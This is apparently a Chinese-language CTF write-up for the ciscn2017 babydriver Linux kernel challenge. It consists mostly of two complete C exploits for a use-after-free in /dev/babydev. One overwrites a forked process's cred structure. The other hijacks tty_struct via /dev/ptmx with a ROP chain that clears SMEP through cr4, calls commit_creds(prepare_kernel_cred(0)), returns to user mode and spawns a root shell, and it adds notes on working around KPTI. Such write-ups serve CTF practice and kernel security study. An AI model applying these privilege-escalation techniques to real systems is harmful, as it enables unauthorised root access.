kernel UAF && tty_struct

kernel UAF && 劫持tty_struct

ciscn2017_babydriver

exp1
fork進程時會申請堆來存放cred。cred結構大小為0xA8。修改cred里的uid,gid為0,即可get root

#include<stdio.h>
#include<fcntl.h>
#include <unistd.h>

int main()
{
	int fd1 = open("/dev/babydev", 2);
	int fd2 = open("/dev/babydev", 2);
	char buf[28] = {0};
	if(fd1 < 0 || fd2 < 0)
	{
		puts("[-] open error");
		exit(-1);
	}
	
	ioctl(fd1, 0x10001, 0xa8);
	close(fd1);
	
	int pid = fork();
	if(pid < 0)
	{
		puts("[-] fork error");
		exit(-1);
	}
	else if(pid == 0)
	{
		write(fd2, buf, 28);
		if(getuid() == 0)
		{
			puts("[+] root now");
			system("/bin/sh");
		}
	}
	else
	{
		wait(NULL);
	}
	close(fd2);
	return 0;
}

exp2
打開ptmx時會申請一個大小為0x2e0的結構體tty_struct(size_t)tty_struct[3]的位置是tty_operations裡面存放了函數指針,劫持這個結構體可實現棧遷移。

劫持write指針,則raxtty_operations的地址,劫持ioctl指針,則rcxtty_operations的地址

補充一下:在開啟 KPTI 的情況下直接返回用戶態會 segmentation fault,可以把原來的返回地址 get_shell 函數設為 signal 訊號的處理函數,這樣原先的 swapgs ; iretq 的方法就可以繼續用了。(signal(11, (size_t)get_shell)

當然我們可以直接用 swapgs_restore_regs_and_return_to_usermode 直接繞過 KPTI,可能由於本題內核是一個過渡版本還沒有KPTI而是PTI,我並沒能找到這個函數。

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
	puts("[+] save the state success!");
}

void get_shell()
{
	if (getuid() == 0)
	{
		puts("[+] get root");
		system("/bin/sh");
		puts("[*] get shell");
	}
	else
	{
		puts("[-] get shell error");
		sleep(5);
		exit(0);
	}
}

void get_root()
{
	//commit_creds(prepare_kernel_cred(0))
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}

int main()
{
	signal(11, (size_t)get_shell);
	size_t rop[0x100] = {0};
	size_t user_buf[0x100] = {0};
	size_t fake_tty_struct[4] = {0};
	size_t fake_tty_operations[35] = {0};

	save_status();
	int fd1 = open("/dev/babydev", 2);
	int fd2 = open("/dev/babydev", 2);
	if(fd1 <0 || fd2 < 0)
	{
		puts("[-] open babydev error");
		sleep(5);
		exit(0);
	}

	ioctl(fd1, 0x10001, 0x2e0);
	close(fd1);

	int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
	if(fd_tty < 0)
	{
		puts("[-] open ptmx error");
		sleep(5);
		exit(0);
	}

	int i = 0;
	rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
	rop[i++] = 0x6f0;
	rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = (size_t)get_root;
	rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = 0xffffffff814e35ef; // iretq; ret;
	rop[i++] = (size_t)get_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;

	fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax;

	fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;
	fake_tty_operations[1] = (size_t)rop;
	fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax;

	read(fd2, fake_tty_struct, 32);
	fake_tty_struct[3] = (size_t)fake_tty_operations;

	write(fd2, fake_tty_struct, 32);

	write(fd_tty,"FXC",3);
	return 0;
}
Tags: